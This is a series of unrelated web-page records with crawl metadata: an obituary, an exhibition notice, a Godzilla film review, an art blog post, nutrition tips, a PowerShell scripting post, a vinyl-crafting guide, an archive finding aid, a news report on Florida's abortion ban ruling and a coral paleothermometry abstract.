In recent years Robert lived in a nursing home in Warsaw. The Elder B.E. and I visited him there earlier in the fall and found him to be as keenly interested in all of the happenings of the Northern Neck as he always had been. We had a particular bond in that we live on land and in a home that once belonged to his collateral ancestor, Pelham Delano.
Over the years, whenever Robert and I met each other, he could be counted upon to ask, “How’s everything down at Uncle Pelham’s?” He was pleased that J. P. and Steve Conley farm our land as they are the grandson and great-grandson of Pelham Delano. He would follow up his first question by asking what crop they had on the land at that time and how it was doing. His grasp of agriculture was encyclopedic.
Throughout his long and stellar career Robert never lost his humility, which was the root of his dignity. He was one who never boasted or promoted himself, for he did not have to do so, as his deeds spoke for themselves. His many years back in the Northern Neck after his distinguished service with the American Farm Bureau afforded him the opportunity to deepen his connection with the land and its peoples, all of which he did with enthusiasm and dedication. When the history of the Northern Neck in our time is written, Robert’s contributions will rank among the most noteworthy. He was the quintessential Virginia Gentleman.
Robert Barnes Delano, July 8, 1924 – December 5, 2017. R. I. P. | <urn:uuid:2fcd2d6d-8345-444c-b2bd-edbea26ec7a3> | CC-MAIN-2022-33 | https://rrecord.com/excerpts-62/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.990282 | 785 | 1.546875 | 2 |
Gretchen Dorian has been an important artist in the Northern Michigan Photography scene for more than 20 years. Her distinctive approach to photography is evident throughout her past and present work. This retrospective exhibition features significant past works representing Dorian’s extensive and dynamic take on water and nature alongside ambitious new works created specifically for this exhibition.
Although Dorian spent her college studies exploring the New England countryside, it was upon her return to Detroit and the waterfront of her early years, that her passion for water, clouds, and any kind of boat became the heart of her work.
Gretchen Dorian is never far from the water. Even in winter, she can be found offshore or on the frozen bays and lakes of the Midwest.
All CTAC-Petoskey visual arts exhibitions are made possible thanks to our Visual Arts Presenter, North Harbor Christie's International Real Estate. | <urn:uuid:d8320881-a733-4349-b0f3-09b9da01ed78> | CC-MAIN-2022-33 | https://crookedtree.org/event/ctac-petoskey/gretchen-dorian-collection-1970-present-opens-june-11 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.965052 | 180 | 1.507813 | 2 |
Godzilla vs. Megalon (1974)
In Godzilla vs. Megalon, the angry Seatopians send their secret weapon Megalon to destroy Tokyo and eliminate the human race. But Earth still has a chance when the sleeping Godzilla is rudely awakened.
Godzilla vs. Megalon is, simply put, a kid’s film. If you take it as such, you’ll enjoy it. There’s no deep social commentary here. It’s just guys in rubbers suits acting like pro wrestlers.
The basic story is: atomic testing by Japan threatens the undersea nation of Seatopia. They decide to attack, and destroy, the surface world in self defense. To do that, they unleash an insect-like Kaiju named Megalon. Megalon is the deity that they worship. Megalon, although powerful, isn’t that intelligent.
Seatopia first sends a pair of spies to Japan, to steal an experimental robot — Jet Jaguar. They plan to use the robot to lead the monster. Eventually, the robot’s creator (and friends) free Jet Jaguar to come to Godzilla’s aid. The robot magically enlarges itself to Kaiju size, and it’s a four-way free for all. It’s not unlike a tag team match in the WWE. With Godzilla and Jet Jaguar vs. Megalon and his fellow Kaiju monster, Gigan.
In conclusion, Godzilla vs. Megalon is an enjoyable return to childhood. It’s not deep, and it doesn’t pretend to be. It’s an enjoyable popcorn movie for a rainy afternoon.
Cast of characters
- Megalon is Godzilla’s equal in size, and power. It has two ranged weapons. He fires lightning-like energy from the horn on his head, and spits fireballs out of its’ mouth. It’s capable of flight, with wings hidden beneath its’ beetle-like shell. It’s arms are drill-like, used as both weapons and burrowing. He flies, burrows, and swims at high speeds. This is his only appearance to date in a Godzilla movie, although he appears in several video games.
- Gigan is the antagonist of the previous film, Godzilla vs. Gigan. He’s sent by Seatopia’s allies, the Space Hunter Nebula M aliens. Gigan’s a cyborg kaiju, with a buzz saw in his abdomen and hooks for hands. He’s also one of the nastiest, most blood-thirsty enemies that Godzilla has ever faced.
- Jet Jaguar is a robot, created by Goro. It’s one of those movie robots that has any ability that the script calls for. He can flight, shoot energy beams, increase his size, etc. By the end of the film, he’s developed artificial intelligence and thinks for himself.
- Godzilla, the King of the Monsters. The original, irradiated dinosaur with vast strength, radioactive breath, and rapid healing. In Godzilla vs. Megalon he has the more kid-friendly appearance.
- Goro Ibuki (Katsuhiko Sasaki , Terror of Mechagodzilla). The brilliant young inventor who’s created Jet Jaguar, stumbles upon the invasion, gets kidnapped, escapes, and set his robot into the fray.
- Rokuru Hiroyuki Kawase, Godzilla vs. Hedora). Goro’s nephew, and stereotypical cute kid.
- Hiroshi Jinkawa (Yutaka Hayashi). Goro’s friend and helper.
- Emperor Antonio of Seatopia (Robert Dunham, The Green Slime). The leader of Seatopia, who frankly is trying to keep his people alive. Of course, slaughtering all of us on the surface is probably overkill. Pardon the pun.
Editorial review of Godzilla vs. Megalon courtesy of Amazon
The undersea kingdom of Seatroplis is threatened when Japan begins atomic testing near Tokyo. The angry Seatopians send their secret weapon, Megalon, to destroy Tokyo and eliminate the human race. But earth gets once last chance when the sleeping Godzilla is rudely awakened! It becomes a titanic tag team of apocalyptic dimensions as Godzilla and robot superhero Jet Jaguar fight Megalon and Gigan in an all-out rubber-suit rumble to determine Earth s fate. | <urn:uuid:39bad589-30ee-494b-9923-9f67254502ce> | CC-MAIN-2022-33 | https://family-friendly-movies.com/godzilla/godzilla-vs-megalon-1974/?amp | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.901297 | 926 | 1.875 | 2 |
This is the question that inspired me to make ‘Rich Enough to be Batman’: a collection of screen prints depicting the Queen wearing a Batman mask.
The prints provoke a pressing question about wealth and social contribution – “If you had enough money would you become Batman and use your money to fight crime and protect the vulnerable? Or would you splash out on expensive things for your own pleasure?”
The idea came about when I was reading the Sunday Times Rich List that is published annually. I’ve always questioned the purpose of this…is it for everyone to collectively celebrate the success of the richest people worldwide, or simply to rub our noses in the fact that the rest of us are so far behind from having such wealth?
Headlines about billionaires exploiting their wealth are not uncommon. One story that stuck with me has been the collapse of BHS and the story of Philip Green (net worth £3.6Bn) syphoning off money before it went into liquidation. Another is the story of Sports Direct owner Mike Ashley (net worth US$6Bn) who refused to pay his staff minimum wage while he went on spending sprees buying mansions, superyachts and jet planes.
Of course, not all billionaires are self-serving – Bill and Melinda Gates (net wealth US$78.5) are well known for their philanthropy and good deeds. Mark Zuckerberg and his wife recently announced they would give the majority of their wealth over the course of their lives to “advancing human potential and promoting equality”.
In a world where wealth has become concentrated into the hands of an ultra rich elite, the question remains: how rich do you need to be before you become Batman?
Photo credit: Ben Lister | <urn:uuid:167e2e66-307e-4476-b815-cff1ec64871e> | CC-MAIN-2022-33 | https://www.a-n.co.uk/blogs/re-emergence-of-politically-motivated-art-a-matter-of-survival/post/52479347/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.970688 | 362 | 2.21875 | 2 |
Food fuels your body. When you exercise, eating the right food beforehand can be the difference between staying energized and feeling sluggish. Eating the right foods after a workout replenishes lost nutrients and helps your muscles recover.
Exercise nutrition tips vary depending on your athletic level and activity. If you’re a serious athlete, the sports nutrition program at UPMC Sports Medicine can help you zero in on the foods you should eat.
If you just want to get the most from your exercise routine, follow these pre- and post-workout nutrition tips.
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Pre-Workout Nutrition Tips
Avoid eating right before working out
You don’t want the physical demands of digesting food to interfere with the physical demands of your workout. Eating too close to exercising can cause gastrointestinal issues, such as heartburn, which can keep you from doing your best.
Eat one to three hours before exercising
For optimal performance, the Academy of Nutrition and Dietetics recommends fueling your body within this time frame. Eating before exercise has been shown to improve performance, according to the Academy.
Focus on healthy carbohydrates
Carbohydrates are the body’s major source of energy. Your body converts carbohydrates into glycogen, an energy source stored in your muscles for when you need it. During exercise, carbohydrates keep muscles functioning properly and prevent them from cramping. Because your body digests carbohydrates faster than protein, they provide immediate fuel for your muscles. Carbs should make up two-thirds of the food on your plate at every meal, but choose them wisely.
- Skip sugary and processed carbohydrates. Eating healthy and working out means saying no to cookies, cakes, and candy. During exercise, your body will burn through these quickly. Sweets are empty calories and don’t provide any significant nutrients to keep your body healthy.
- Eat complex carbs. Say yes to brown rice, potatoes, whole grain breads, whole grain pasta, whole grain cereals, and fruits and vegetables.
Protein isn’t an ideal energy source for exercise. It simply takes your body too long to process protein to be able to use it as fuel during a Zumba class or a cross-training session. However, protein is an important part of a balanced diet because it helps build and repair muscle. Protein should make up only one-third of the foods on your plate at every meal. It’s also important to choose the right sources of protein.
- Skip high-fat proteins. Say no to fatty or fried meats and fast food, such as burgers, fried chicken, and hot dogs.
- Choose lean proteins. Say yes to lean cuts of chicken, turkey, and pork, as well as fish, shellfish, eggs, low-fat cheese, milk, and yogurt. Beans and legumes, such as pinto and black beans, black- eyed peas, and lentils, are also good sources of pre-workout protein.
Healthy Pre-Workout Snacks
- A yogurt parfait: granola, yogurt, and berries
- A peanut butter and banana sandwich; almond or cashew butter with sliced whole fruits such as strawberries or pears
- Hummus or black beans with whole grain pita bread
- Oatmeal with berries or nuts and low-fat milk
- String cheese and apple slices
Post-Workout Nutrition Tips
Eat or drink something immediately after exercising
UMPC Sports Medicine recommends replenishing your body within 15 minutes of working out. Start with a carbohydrate-rich snack, sports drink, or smoothie. To help your muscles recover, eat a more balanced meal within two hours of working out.
If your workout lasts longer than an hour or you are sweating excessively, it’s important to hydrate during exercise, either with water or a sports drink. Otherwise, be sure to hydrate after working out. Water-rich fruits such as melons or oranges can also hydrate you.
Combine complex carbohydrates and lean protein
According to the Academy of Nutrition and Dietetics, this combination helps rebuild and repair your muscles, replenish the glycogen they lost, and provide essential amino acids.
Healthy Post-Workout Foods
- A berry smoothie, with low-fat milk or yogurt
- Low-fat chocolate milk
- Granola bars
- Peanut butter crackers
- A whole grain turkey or chicken wrap
To learn how to optimize both your exercise routine and your overall health through better nutrition, contact Nutrition Services at 412-692-4497. If you’re an athlete, contact our Sports Medicine department at 724-720-3077.
Headquartered in Pittsburgh, UPMC is a world-renowned health care provider and insurer. We operate 40 hospitals and 800 doctors’ offices and outpatient centers, with locations throughout Pennsylvania, Maryland, New York, West Virginia, and internationally. We employ 4,900 physicians, and we are leaders in clinical care, groundbreaking research, and treatment breakthroughs. U.S. News & World Report consistently ranks UPMC Presbyterian Shadyside as one of the nation’s best hospitals in many specialties and ranks UPMC Children’s Hospital of Pittsburgh on its Honor Roll of America’s Best Children’s Hospitals. We are dedicated to providing Life Changing Medicine to our communities. | <urn:uuid:cd65f806-09f5-4811-9d6a-b1d3f2838941> | CC-MAIN-2022-33 | https://share.upmc.com/2019/05/exercise-nutrition-tips/?utm_source=vanity-url&utm_medium=social&utm_campaign=socialized&utm_content=socialized-share-link&utm_term=nutrition+tips%2C+eating+healthy+and+working+out%2C+post-workout+foods | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.916962 | 1,136 | 2.84375 | 3 |
Modularity and abstraction are a huge benefit in scripting and coding. Which of the following blocks of code are easier to understand?
$SQLConnection = New-Object System.Data.SqlClient.SQLConnection $SQLConnection.ConnectionString = 'Server=SqlServer1;Database=MyDB;Integrated Security=True;Connect Timeout=15' $cmd = New-Object system.Data.SqlClient.SqlCommand("SELECT * FROM Table1",$SQLConnection) $ds = New-Object system.Data.DataSet $da = New-Object system.Data.SqlClient.SqlDataAdapter($cmd) [void]$da.fill($ds) $SQLConnection.Close() $ds.Tables
# Invoke-Sqlcmd2 -ServerInstance SQLServer1 -Database MyDB -Query 'SELECT * FROM Table1'
If you aren’t a masochist, the latter probably looks a bit nicer. Oh, and it offers other parameters, error handling, parameterized SQL queries, built in help, and other benefits the .NET code block misses.
The takeaway? You should be writing or using Advanced Functions and Modules, not monolithic scripts and snippets. Do it for yourself. Do it for anyone who might have to read your code down the line.
Some modules can benefit from persistent configurations. If you have a module that wraps a REST API, you might want to allow the end user to specify a default URL, rather than specify it every time they run a command.
This begs the question: what data format should you use? XML? JSON? YAML? INI?
Don’t be ashamed. Many of us sysadmins pride ourselves on learning through experience. That doesn’t mean you need to re-invent all the wheels. It can be a great learning experience to write your own code and functions, but at the end of the day, there’s nothing wrong with finding the best tool for the job, and sticking with it. Developers make a living writing code, yet they all borrow existing libraries.
Once you start writing modules and advanced functions, be sure to share them with the community! | <urn:uuid:dec0e8da-c1af-481e-8012-f0fdb8f6d6f7> | CC-MAIN-2022-33 | https://powershell.org/2015/08/abstraction-and-configuration-data/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573623.4/warc/CC-MAIN-20220819035957-20220819065957-00665.warc.gz | en | 0.78732 | 468 | 2.015625 | 2 |
If you're new to the world of heat transfer vinyl, you've come to the right place!
In this three-part series, we'll be guiding you through everything you need to know to go from being a complete HTV newbie to successfully making your first custom t-shirt! We're going to cover the supplies you'll need (Part I), how to make your design (Part II), and how to apply your heat transfer vinyl to your t-shirt (Part III).
There’s going to be a TON of information in these posts, so we recommend bookmarking them and coming back a few times. Trying to digest all this info at once may be pushing it!
Let's get started!
Part I: The Supplies
The first thing you’ll need for a heat transfer vinyl project is . . . well . . . heat transfer vinyl!
Heat transfer vinyl, or HTV for short, is a vinyl-like material that permanently attaches to another material when heated. Heat transfer vinyl is often used to decorate t-shirts, jerseys, hats, pillows, bags, and more. Whatever you put the HTV on, this underlying material is often called the "substrate."
A single sheet of heat transfer vinyl is made up of three different parts: (1) a clear plastic carrier sheet on the top, (2) the decorative vinyl in the middle, and (3) the heat-activated adhesive on the bottom (sometimes called the "hot melt"). Each of these parts serves an important function.
The carrier sheet holds the vinyl in place after it's been cut. The carrier sheet does this in two ways. First, it keeps the pieces of vinyl in place in relation to each other (e.g., keeping the spacing between letters constant during application). Second, the carrier sheet keeps the vinyl in place on the fabric (or "substrate") before and during application.
The colored vinyl in the middle is the decorative part of the sheet. It’s the red, blue glitter, or glow-in-the-dark that you’re trying to have show on your underlying fabric. It’s the whole point of using heat transfer vinyl!
The heat-activate adhesive (or "hot melt") on the bottom of the sheet is what makes the beautiful vinyl permanently stick to your substrate. It's like an insert for a hot glue gun. At room temperature it isn’t sticky, but heat it up and let it cool and then VOILA-- adhesion!
Varieties of HTV
Heat transfer vinyl comes in many different varieties and each variety comes in different styles. We’ll talk about a few of these.
Polyurethane or "PU"
The most popular type of heat transfer vinyl is made from polyurethane, so it’s sometimes called “PU” for short. PU HTV can come in any color and it has a smooth finish. It’s on the thinner side so it’s great for designs involving fine details, but it can also be used as an everyday HTV.
PVC heat transfer vinyl is very similar to PU HTV. It comes in the same variety of colors and it also has a similarly smooth finish. The main difference between the two varieties is that PVC is thicker than PU. For that reason, PVC is not as good for thin detailed designs, but it is better for things like lettering or numbering on athletic apparel.
Rozzy Crafts does not currently offer PVC HTV and frankly there's no brand being offered out there that we know well enough to recommend.
One of the most fun varieties of HTV available, glitter vinyl is a terrific way to add sparkle to your designs. As you would expect, the surface of the final glitter vinyl is a little rougher than that of regular PU or HTV.
Rozzy Crafts offers a fun 18-Sheet Glitter HTV Starter Pack.
Flock heat transfer vinyl has a soft, suede-like finish. It’s not smooth or plastic-feeling like PU. It's also thicker than PU and even PVC. It’s great for adding a soft touch or some depth to your designs. It’s also an inexpensive alternative to embroidery. Flock HTV is great for hats, sweatshirts, and bags.
There are many other types of HTV, including hologram, metallic, reflective, and glow in the dark. Rozzy Crafts hopes to offer all of these varieties soon!
Once you have your heat transfer vinyl, you’ll need something to cut it with. No matter how steady your hand may be, you’re not going to be able to make high-quality designs using a handheld knife. Instead, you’ll need to get your hands on a cutting machine.
The two most popular brands of cutting machines are made by Silhouette® and Cricut®.
Silhouette® offers three different cutting machines: the Cameo®, the Curio™, and the Portrait®. The Cameo® and Portrait® are very similar in that both are great for cutting relatively thin (up to 1mm) material. The main differences between the two are price (the Portrait® is less expensive) and also that the Cameo® can cut material up to 12 inches wide while the Portrait® cuts widths of just 8.5 inches. The Curio™, by contrast, can cut materials that are up to five times thicker than the Cameo® and Portrait®. The three machines can all cut the same kinds of materials, but the Curio™ can do so with significantly greater detail.
In general, if you’re looking to work with heat transfer vinyl and you’re interested in a Silhouette machine, we recommend going with the Cameo® or Portrait®.
Whatever Silhouette® machine you get, it will come with Silhouette® Studio software (though the Curio™ does have some additional functionality in its version of the software). Silhouette® Studio is the program you use to make your designs that you’ll then use the machine to cut into your heat transfer vinyl.
Cricut® is the primary alternative to Silhouette®. Cricut® offers three different cutting machines: the Cricut Explore One ™, the Cricut Explore Air ™, and the Cricut Explore Air 2™. The Cricut Explore One™ is the base model and it has pretty much all the features you’d ever need, including the ability to cut, draw, and score over 100 different materials (including HTV!). The Cricut Explore One™ can cut shapes with widths of 1/4 to 11.5 inches and with lengths up to 23.5 inches. The Cricut Explore Air™ has all the functionality of the base model but it also has the added feature of connecting to your computer wirelessly through Bluetooth®, so no more worrying about moving your laptop close to your cutting machine. In addition, the Cricut Explore Air™ has a dual carriage (the thing that holds the cutting bade, writing pen, or scoring stylus), so you don’t necessarily have to remove the tool from inside the machine if you want to go from cutting your material to scoring it. Finally, the Cricut Explore Air 2™ has all the features of the regular Air model, except the Air 2 can also cut (or write on) vinyl, HTV, and cardstock at twice the speed.
As its name makes plain, heat transfer vinyl requires heat! There are basically two main options for generating the heat necessary to stick your vinyl to your substrate—use your regular home iron, or use a specifically designed heat press.
Almost all new users of HTV start out by using their home iron. The simple reason for this is that you don’t have to shell out any more money and, more importantly, it works!
When you buy HTV, it will come with instructions on how to apply it. These instructions will include a specific temperature range that should be used to make the HTV stick to the underlying material. The average home iron can reach that temperature no problem—usually around the “cotton” material setting. One downside to using an iron is its limited surface area. Unless you are applying a small design, your HTV material is almost certainly going to be larger than the face of the iron. As a result, it’s impossible to evenly apply heat by covering all the HTV at once. Instead, when you use an iron you need to move the iron around, applying heat to every part of the HTV in sequence. Knowing how long to spend on one spot before moving on to the other spots can be someone of a guessing game. And if you guess wrong, part of your design may not stick to the underlying material or, worse, you may accidentally burn it!
Another downside is that irons don’t provide great temperature control. Most irons do not have a digital control of the temperature—instead you turn a dial to choose the kind of fabric you’re going to iron. One work around is to use another item from your home: your digital thermometer. Just hold it against the surface of your iron and you’ll be able to have a pretty good sense of whether your iron is the right temperature. This method is not perfect, but it works and it's cheap.
If you’re looking for a surefire way to evenly apply the correct amount of heat for the correct amount of time, then the heat press is for you! A heat press is a simple machine consisting of a fixed lower surface and a moveable upper surface.
The upper surface heats up and can be lowered to press against the lower surface. You place your substrate on the lower surface, lay your HTV on top of it, then press down on the heated upper surface for the indicated amount of time and PRESTO your HTV design will be applied to your substrate.
The two drawbacks of the home iron—surface area and heat control—are the strong suits of the heat press. Heat presses come in different sizes, but they will always have more surface area than a home iron. As a result, you can quickly and easily apply heat evenly to a 10 inch by 10 inch design, for example. In addition, most heat presses have digital controls for both heat and the timer, so you can be sure to apply the right amount of heat for just as long as the instructions tell you to do so.
The main downside to a heat press is the money. They can run anywhere from $125 all the way to $300 and more. If you’re new to HTV, and especially if you just spent $100+ on a cutting machine, you may not be in a rush to spend another couple hundred dollars on something you can handle with a home iron instead. Another downside to heat presses is that they are big! If you live in a smaller apartment without much storage space, you may find yourself having to use your heat press as a dining room table!
There are many different makes and models of heat presses, but we think the best bang for your buck is the Power Heat Press Industrial-Quality Digital 15-by-15-Inch Sublimation T-Shirt Heat Press. While not cheap, at $200 it’s pretty reasonable given its huge surface area and high-quality digital controls. This bad boy is great for tackling any HTV project you throw at it, and it's a must-have if you’re undertaking HTV projects as a way to make money.
Beyond the HTV and cutting machine, the last tool you must have to successfully create iron-on projects is a weeding tool.
This tool is used to remove the unwanted vinyl that surrounds your design (i.e., the negative space). You could probably peel this material away without a weeding tool for some designs, but when creating a project with fine detail, you really have no choice but to use one. Cricut® offers a really sturdy one, but Silhouette® also sells one for less than half the price.
The cutting mat is used to hold your HTV in place while it's cut in the machine. It's not absolutely necessary 100% of the time, but it's a good way to increase your chances of achieving a perfect cut on one try. We especially like the 12-inch by 12-inch cutting mat by Silhouette, but the same-sized mat by Cricut works well too.
For a full discussion of cutting mats see our blog post, "How to Use a Cutting Mat with Heat Transfer Vinyl."
While not absolutely necessary, some HTV crafters like using Teflon sheets. Use a Teflon sheet by placing it over the HTV once you’ve applied it to your substrate. You then apply the heat on top of the Teflon. This serves two functions. First, it protects your underlying material from getting burned by the heat source. Second, it keeps any melted HTV from getting onto your heat source’s surface.
Want to hear a trick? If you don’t have a Teflon sheet but want the same effect, just use parchment paper instead! It’s not as durable as Teflon—so you’ll likely only get a couple uses per sheet—but it works in a pinch!
That concludes Part I of this three part series. We know this seems like a lot of stuff to buy (it definitely is), but many of these things you'll need to purchase only once. After you have all the basics--like some HTV, a cutting machine, and a weeding tool--you'll be able to do a TON of different HTV projects, which can be so much fun and rewarding.
Ready for more helpful info!? Continue on to Ultimate HTV Beginner's Guide - Part II: Creating and Cutting the Design. | <urn:uuid:edec9fa9-7499-4135-946a-2e5a25de5077> | CC-MAIN-2022-33 | https://www.rozzycrafts.com/blogs/rozzy-crafts-blog/ultimate-htv-beginners-guide-part-i-the-supplies | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.935252 | 2,981 | 2.09375 | 2 |
FRANCIS WHITE FAMILY LETTERS, 1914-1961
Francis White was a diplomat, Assistant Secretary of State for Latin America, Vice-President for the International Telephone and Telegraph Company (ITT), and Ambassador to Mexico and Sweden. He graduated from Yale University in 1913 and was the first foreigner to attend the École de Sciences et Politique in Paris. He left France at the onset of World War I to study at Escuela Diplomatica in Madrid. He worked for the State Department in Beijing, Tehran (Persia), Cuba, Argentina, and Spain before being appointed Assistant Secretary of State for Latin America under President Calvin Coolidge. In 1934 he became minister to Czechoslovakia, but resigned two years later to work for ITT. He worked for ITT in Sweden during World War II and in Spain after the war. President Eisenhower appointed him Ambassador to Mexico in 1953 and Ambassador to Sweden in 1957.
SCOPE AND CONTENT NOTE
The collection contains typed letters by Frances White to his family. Most of the letters are copies. The letters are arranged chronologically. The letters begin in 1914 with White’s experiences as a student in France and Spain. Descriptions include a coup d'état in China, a caravan with the British military in Persia, public executions in Tehran, and evacuation from Sweden in a “mosquito” bomber. There are also descriptions of local culture, political situations, and devotion to wife and family.
Other family materials in the collection include: a 1918 excerpt from Francis White’s journal detailing his journey from China to Persia, his wife Nancy’s journal from 1921-1927, and his daughter Betty’s account of her family history.
Letters from France, Madrid, 1914
Letters from Beijing, Hong Kong, Singapore, Bombay, and Tehran, 1918
Letters from Buenos Aires, 1922 | <urn:uuid:e1ab3475-3629-4ac5-b2a1-75d56f8dc0b8> | CC-MAIN-2022-33 | https://hoover.archives.gov/research/manuscript-collections/white | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.952921 | 412 | 2.046875 | 2 |
TALLAHASSEE, Fla. (AP) — A Florida judge on Thursday said he would temporarily block a 15-week abortion ban, following a court challenge by reproductive health providers who say the state constitution guarantees a right to the procedure.
Judge John C. Cooper made the oral ruling from the bench but his decision will not go into effect until he signs a written order, which Cooper said would likely happen next week. The law goes into effect Friday, meaning it will be in place for a few days before the order is signed.
In his ruling, Cooper said Florida's law was “unconstitutional in that it violates the privacy provision of the Florida Constitution.”
The move came days after the U.S. Supreme Court overturned the landmark 1973 Roe v. Wade decision, ending federal protections for abortions and reigniting fierce battles in state courts and legislatures over access to the procedure.
Florida’s 15-week abortion restriction was passed by the GOP-controlled statehouse and signed into law by Republican Gov. Ron DeSantis this spring.
DeSantis' office said it would appeal the ruling and he has pledged to “expand pro-life protections” in the future.
“The Florida Supreme Court previously misinterpreted Florida’s right to privacy as including a right to an abortion," the governor's office said in a statement. “We reject this interpretation because the Florida Constitution does not include — and has never included — a right to kill an innocent unborn child.”
The law would prohibit abortions after 15 weeks, with exceptions if the procedure is necessary to save the pregnant woman’s life, prevent serious injury or if the fetus has a fatal abnormality. It does not allow for exemptions in cases where pregnancies were caused by rape, incest or human trafficking. Under current law, Florida allows abortions up to 24 weeks.
Violators could face up to five years in prison. Physicians and other medical professionals could lose their licenses and face administrative fines of $10,000 for each violation.
The legal challenge in Florida hinges on a 1980 amendment to the state constitution guaranteeing a broad right to privacy, which has been interpreted by the state Supreme Court to include abortion. Florida voters reaffirmed the right to privacy in 2012 by rejecting a ballot initiative that would have weakened its protections, plaintiffs said.
“Despite Florida’s history of protecting the right to abortion, the Florida legislature recently engaged in a brazen attempt to override the will of the Florida people,” the abortion providers said.
The state argued in court papers that abortion providers don’t have standing to make a claim of a personal right to privacy since they were acting as third parties on behalf of their patients. Attorneys for the state also maintained that the state’s constitutional right to privacy doesn’t include the right to abortion, arguing that the state has an interest in safeguarding health and protecting potential life.
During testimony this week, witnesses for the state focused primarily on the potential for fetal pain as well as health risks to women who receive abortions late in pregnancy. A witness for Planned Parenthood told the judge that the law would disproportionately affect poor women.
The delay between the signing of an order temporarily blocking the law and the law's Friday implementation date creates an added layer of confusion, said Laura Goodhue, executive director of the Florida Alliance of Planned Parenthood Affiliates.
“It’s extremely challenging for doctors to work with this but they are, and the most important thing is that planned parenthood is still seeing people," she said. “It’s a lot of unnecessary delays and patients are at the whims of the legal system right now.”
Data shows the majority of abortions in Florida occur before 15 weeks. A Centers for Disease Control and Prevention report said about 2% of the nearly 72,000 abortions reported in Florida in 2019 were performed after 15 weeks. | <urn:uuid:f3873f08-0e73-49cc-a8fd-f2a50175393b> | CC-MAIN-2022-33 | https://hosted.ap.org/peninsuladailynews/article/7d8d912cf00f13dd1026848ec2041dc3/judge-temporarily-block-floridas-15-week-abortion-ban | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.962802 | 802 | 1.507813 | 2 |
PergamonCopyright © 1996 Elsevier Science Ltd Printed in the USA. All rights reserved 0016-7037/96 $15.00 + .00
PII S0016-7037(96) 00205-0
The calibration of D [ S r / C a ] versus sea surface temperature relationship
for Porites corals
CHUAN-CHou SHEN, I'2 TYPHOON LEE, ~,3 CttI-YuN CHEN, ~.3 CI-IUNG-HO WANG, I CHANG-FENG DA[, 4 and LUNG-AN LI 5 ~Institute Earth Sciences, Academia Sinica, P.O. Box 1-55, Nankang, Taipei, Taiwan, ROC
2Department Chemistry, National Tsing-Hua University, Hsin-Chu, Taiwan, ROC 3Department Geology, National Taiwan University, Taipei, Taiwan, ROC 4Institute Oceanography, National Taiwan University, Taipei, Taiwan, ROC
~Institute Statistics, Academia Sinica, Nankang, Taipei, Taiwan, ROC (Received July 24, 1995; accepted in revised form June 20, 1996)
A b s t r a c t - - T a k i n g advantage of the availability of a continuous sea surface temperature ( S S T ) record at Kenting, southern Taiwan, we have carried out a calibration of D [ S r / C a ] - S S T ( D : distribution coefficient) relationships for Porites Iobata and P. lutea. Between 22°C - 28°C, tile best fitting linear relationships for the two species agree within their respective errors with a maximum deviation less than 0.3°C. Our calibration overlaps with the only published calibration for Porites (deVilliers et al., 1994) but is somewhat less temperature sensitive. The m a x i m u m temperature differences for the two calibrations between 21°C and 27°C are _+ 1.2°C. The D - S S T relationship calculated using the data of Beck et al. (1992, 1994) and their unpublished seawater data lies between these two calibrations. Our calibration removes some discrepancies previously described in the studies of McCulloch et al. (1994a) on the Great Barrier R e e f and of Min et al. (1995) on New Caledonia. W e found little growth rate effect on the calibration for P. lutea between 18 m m / y r and 23 ram/yr. W e have also monitored the seawater [ S r / C a ] for the entire 1993. The observed variation of 0.033 m m o l / m o l can cause a temperature artifact of 0.7°C and is thus a dominant error in using this new paleo-therlnometer. To carry out this experiment, we have developed a microsurgical technique that can be used to sample corals at better than 0.15 mm resolution. The analytical precision should ultimately allow SST reconstruction of better than 0.2°C. Furthermore, the insensitivity of the calibration against growth rate variation and species differences suggests a promising future for this new thermometer, in contrast to the pessimism of deVilliers et al. (1995). However, inter-laboratory differences and the question of seawater [ S r / C a ] variation need to be addressed first. We recommend a single SST calibration for the S t / C a thermometer on coral Porites: Sr/CaN = 10.286-0.0514 × SST (N: normalized to Hawaii seawater [ S r / C a ] = 8.510 m m o l / m o l ) or D [ S r / C a ] = 1 . 2 0 7 7 - 0.006011 x SST.
The best way to check the validity of climatic models is to test them against the varied conditions of our earth system in the past. Therefore, the reconstruction of paleo-climatic parameters from proxy records preserved in nature is rapidly becoming an important scientific pursuit. Potentially, high- precision [ S r / C a ] concentration measurements on corals of_ fer a superior method for estimating past sea surface temper- atures ( S S T ) with good accuracy ( < 0 . 2 ° C ) and excellent time resolution ( w e e k l y ) . The purpose of this paper is to present the result of our effort to calibrate this new paleo- thermometer.
Although the correlation between S r / C a and SST was known since the 1970's (Weber, 1973; Smith et al., 1979), Beck et al. (1992) was the first to exploit the far more precise isotopic dilution mass spectrometry ( I D M S ) techniques. Since then, it has been applied to a number of important problems in the study of paleoclimate. These include the temperature of tropical oceans during late deglaciation time (Beck et al., 1992), last glacial maximum (Guilderson et al., 1994), last interglacial maximum (McCulloch et al., 1994b), and the strong El Nifio of 1982-83 (McCulloch et al., 1994a).
In spite of its great potential, there are still a number of 3849
